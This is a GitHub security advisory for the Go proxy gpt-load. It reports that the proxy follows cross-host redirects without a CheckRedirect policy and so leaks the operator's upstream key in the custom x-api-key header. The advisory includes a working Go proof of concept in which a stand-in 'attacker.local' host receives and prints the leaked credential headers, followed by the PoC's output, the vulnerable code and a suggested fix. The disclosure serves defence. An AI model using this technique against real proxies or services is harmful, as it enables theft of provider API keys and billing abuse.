Skip to content

Operator's upstream provider key (x-api-key) leaks to cross-host redirect target because proxy http.Client follows redirects with no CheckRedirect

High
tbphp published GHSA-wqp8-rrm7-f5w5 May 29, 2026

Package

gomod github.com/tbphp/gpt-load (Go)

Affected versions

<= v1.4.7

Patched versions

v1.4.8

Description

Summary

gpt-load's transparent proxy attaches the operator's real upstream provider key
to outbound requests via a custom-named header (x-api-key) on an http.Client
that follows redirects with no CheckRedirect policy. Go's net/http strips the
standard Authorization header on a cross-host redirect but never strips
custom-named headers, so a cross-host 3xx returned by (or injected into) a
group's operator-configured upstream causes the upstream provider key to be
forwarded verbatim to the redirect target host. An attacker who controls or can
influence that redirect target harvests the provider key in cleartext.

Vulnerable code (file:line)

The shared proxy client is built with no CheckRedirect, so redirects are
followed by default (internal/httpclient/manager.go:101-104):

	newClient := &http.Client{
		Transport: transport,
		Timeout:   config.RequestTimeout,
	}

The proxy channel for the Messages-format provider — the single
internal/channel/*_channel.go whose ModifyRequest sets the custom-named
x-api-key header (lines 39-42; the OpenAI and Gemini channels instead use
Authorization: Bearer, which net/http strips cross-host and is therefore not
affected) — sets the operator's real upstream key in a custom-named header:

func (ch *MessagesChannel) ModifyRequest(req *http.Request, apiKey *models.APIKey, group *models.Group) {
	req.Header.Set("x-api-key", apiKey.KeyValue)   // <-- operator's real upstream key, custom-named header
	req.Header.Set("<provider>-version", "2023-06-01")
}

The proxy request is built against the group's operator-configured upstream and
dispatched on the no-CheckRedirect client; the inbound client-supplied auth
headers are first deleted and then ModifyRequest re-sets the real upstream key
(internal/proxy/server.go:137, :153, :164-166, :182, :195-198):

	upstreamURL, err := channelHandler.BuildUpstreamURL(c.Request.URL, originalGroup.Name)
	req, err := http.NewRequestWithContext(ctx, c.Request.Method, upstreamURL, bytes.NewReader(bodyBytes))
	req.Header.Del("Authorization")
	req.Header.Del("X-Api-Key")
	req.Header.Del("X-Goog-Api-Key")
	channelHandler.ModifyRequest(req, apiKey, group)   // re-sets x-api-key = real upstream key
	} else {
		client = channelHandler.GetHTTPClient()        // no-CheckRedirect manager client
	}
	resp, err := client.Do(req)                        // follows cross-host redirect, replays x-api-key

Impact

Confidentiality breach of the operator's real upstream provider API key
(apiKey.KeyValue). The key is a long-lived bearer-equivalent secret; once it
leaks to an attacker host it grants the attacker the full quota and billing of
the operator's provider account. Information exposure, CWE-200 / CWE-522.
gpt-load explicitly deletes inbound client Authorization / X-Api-Key headers
(server.go lines 164-166) and substitutes the operator's real key via
ModifyRequest, so the header that leaks carries the high-value upstream
credential, not the client-supplied one. Standard-Authorization channels
(OpenAI, Gemini) are NOT affected because net/http strips that header
cross-host — only the custom-named-x-api-key channel leaks, the asymmetry
demonstrated by the negative control below.

How input reaches the sink (attack scenario)

A group's upstream URL is configured by the gpt-load operator/admin. A proxied
request to a Messages-format group is sent with the operator's real upstream key
in the custom-named x-api-key header. If the configured upstream (or any hop
it redirects through) returns a cross-host 3xx — a malicious/compromised
upstream, an open-redirect on the configured host, a self-hosted gateway later
repointed by an attacker, or an operator socially engineered into configuring an
attacker upstream — the default proxy client transparently follows the redirect
and replays x-api-key to the new host, where the redirect target reads the
secret from the inbound request headers. A single proxied request suffices.

Proof of concept

The decisive behavior is a property of net/http's redirect handling combined
with the no-CheckRedirect client and the custom-named credential header. The
following self-contained Go program reproduces it exactly as gpt-load triggers
it: a default http.Client{} (the same shape as the manager's
&http.Client{Transport: transport, Timeout: ...}, which has no CheckRedirect)
sends a request carrying x-api-key (as ModifyRequest does) to an
operator-upstream that 302 redirects cross-host to an attacker host. Two
genuinely distinct hostnames (victim.local, attacker.local) are mapped onto
local listeners via a custom DialContext so the redirect is truly cross-host
and the standard-header-stripping logic engages. Authorization is the negative
control.

package main

import (
	"context"
	"fmt"
	"net"
	"net/http"
	"net/http/httptest"
	"strings"
)

func main() {
	// Attacker-controlled host: records every header it receives.
	attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Printf("[attacker host %q] received redirected request for %s\n", r.Host, r.URL.Path)
		fmt.Printf("  x-api-key      = %q   <-- CUSTOM auth header LEAKED\n", r.Header.Get("x-api-key"))
		fmt.Printf("  api-key        = %q   <-- CUSTOM auth header LEAKED\n", r.Header.Get("api-key"))
		fmt.Printf("  X-Auth-Token   = %q   <-- CUSTOM auth header LEAKED\n", r.Header.Get("X-Auth-Token"))
		fmt.Printf("  Authorization  = %q                  <-- standard header STRIPPED (negative control)\n", r.Header.Get("Authorization"))
		w.WriteHeader(http.StatusOK)
	}))
	defer attacker.Close()

	// Operator-configured group upstream. It 302s cross-host to the attacker host.
	upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, "http://attacker.local/v1/messages", http.StatusFound)
	}))
	defer upstream.Close()

	attackerAddr := strings.TrimPrefix(attacker.URL, "http://")
	upstreamAddr := strings.TrimPrefix(upstream.URL, "http://")

	// Map distinct hostnames to the two local listeners so the redirect is genuinely cross-host.
	transport := &http.Transport{
		DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
			switch addr {
			case "victim.local:80":
				addr = upstreamAddr
			case "attacker.local:80":
				addr = attackerAddr
			}
			return (&net.Dialer{}).DialContext(ctx, network, addr)
		},
	}

	// Same shape as the gpt-load manager client: Transport set, no CheckRedirect.
	client := &http.Client{Transport: transport}

	req, _ := http.NewRequest(http.MethodPost, "http://victim.local/v1/messages", nil)
	req.Header.Set("x-api-key", "sk-SECRET-messages-key")    // gpt-load Messages channel ModifyRequest
	req.Header.Set("api-key", "SECRET-azure-key")            // sibling custom-named credential
	req.Header.Set("X-Auth-Token", "SECRET-custom-token")    // generic custom auth header
	req.Header.Set("Authorization", "Bearer SECRET-bearer")  // standard header (negative control)

	fmt.Printf("[client] POST http://victim.local/v1/messages  (operator upstream 302s -> http://attacker.local)\n\n")
	resp, err := client.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()
	fmt.Printf("\n[client] final status %d (proxy client followed the cross-host redirect)\n", resp.StatusCode)
}

Verbatim output (Go 1.26.1):

[client] POST http://victim.local/v1/messages  (operator upstream 302s -> http://attacker.local)

[attacker host "attacker.local"] received redirected request for /v1/messages
  x-api-key      = "sk-SECRET-messages-key"   <-- CUSTOM auth header LEAKED
  api-key        = "SECRET-azure-key"   <-- CUSTOM auth header LEAKED
  X-Auth-Token   = "SECRET-custom-token"   <-- CUSTOM auth header LEAKED
  Authorization  = ""                  <-- standard header STRIPPED (negative control)

[client] final status 200 (proxy client followed the cross-host redirect)

The custom-named x-api-key arrives intact at the attacker host; Authorization
is stripped. This is the exact pairing of (no CheckRedirect) + (custom-named
credential header) that gpt-load's proxy uses, so the operator's upstream key
leaks identically.

End-to-end reproduction (against pinned version)

Verified against the latest release v1.4.7. The vulnerable construct is
unchanged at that tag, confirmed by reading the pinned sources:

# gpt-load v1.4.7 — proxy client has no CheckRedirect:
$ curl -s https://raw.githubusercontent.com/tbphp/gpt-load/v1.4.7/internal/httpclient/manager.go | grep -nE 'http.Client\{|CheckRedirect'
101:	newClient := &http.Client{

# v1.4.7 — exactly one proxy channel sets the custom-named x-api-key (the rest use Authorization: Bearer):
$ git clone --depth 1 -b v1.4.7 https://github.com/tbphp/gpt-load && \
  grep -rnE 'Set\("x-api-key"' gpt-load/internal/channel/
gpt-load/internal/channel/<messages-channel>.go:40:	req.Header.Set("x-api-key", apiKey.KeyValue)
gpt-load/internal/channel/<messages-channel>.go:112:	req.Header.Set("x-api-key", apiKey.KeyValue)

Both the no-CheckRedirect proxy client (manager.go line 101) and the
custom-header proxy channel (the internal/channel/*_channel.go line 40, on
apiKey.KeyValue) are present in v1.4.7 as shipped, so the header-leak
behavior reproduced by the standalone PoC above is reachable on the released
binary: a proxied request to the Messages-format group whose operator-configured
upstream issues a cross-host redirect leaks the operator's upstream key.

Suggested fix

Set a CheckRedirect policy on the proxy clients built by the HTTP client
manager that strips custom-named credential headers when a redirect crosses to a
different host (matching the treatment net/http already gives Authorization):

func stripSensitiveOnCrossHostRedirect(req *http.Request, via []*http.Request) error {
	if len(via) == 0 {
		return nil
	}
	if req.URL.Hostname() != via[0].URL.Hostname() {
		for _, h := range []string{"x-api-key", "api-key", "X-Goog-Api-Key",
			"X-Auth-Token"} {
			req.Header.Del(h)
		}
	}
	if len(via) >= 10 {
		return errors.New("stopped after 10 redirects")
	}
	return nil
}
// then set CheckRedirect on the client built in HTTPClientManager.GetClient:
//   newClient := &http.Client{Transport: transport, Timeout: config.RequestTimeout,
//       CheckRedirect: stripSensitiveOnCrossHostRedirect}

Alternatively, refuse to follow cross-host redirects on proxy requests entirely
(return http.ErrUseLastResponse on host change), since a legitimate provider
endpoint should not redirect a proxied request to a different host. A regression
test should assert that a cross-host 302 does not deliver x-api-key to the
redirect target.

Fix PR

A fix PR implementing the CheckRedirect strip plus a cross-host regression
test is provided to the maintainers via the GitHub Security Advisory private
temporary fork associated with this report.

Credit

Reported by tonghuaroot.

Severity

High

CVE ID

No known CVE

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Insufficiently Protected Credentials

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. Learn more on MITRE.

Credits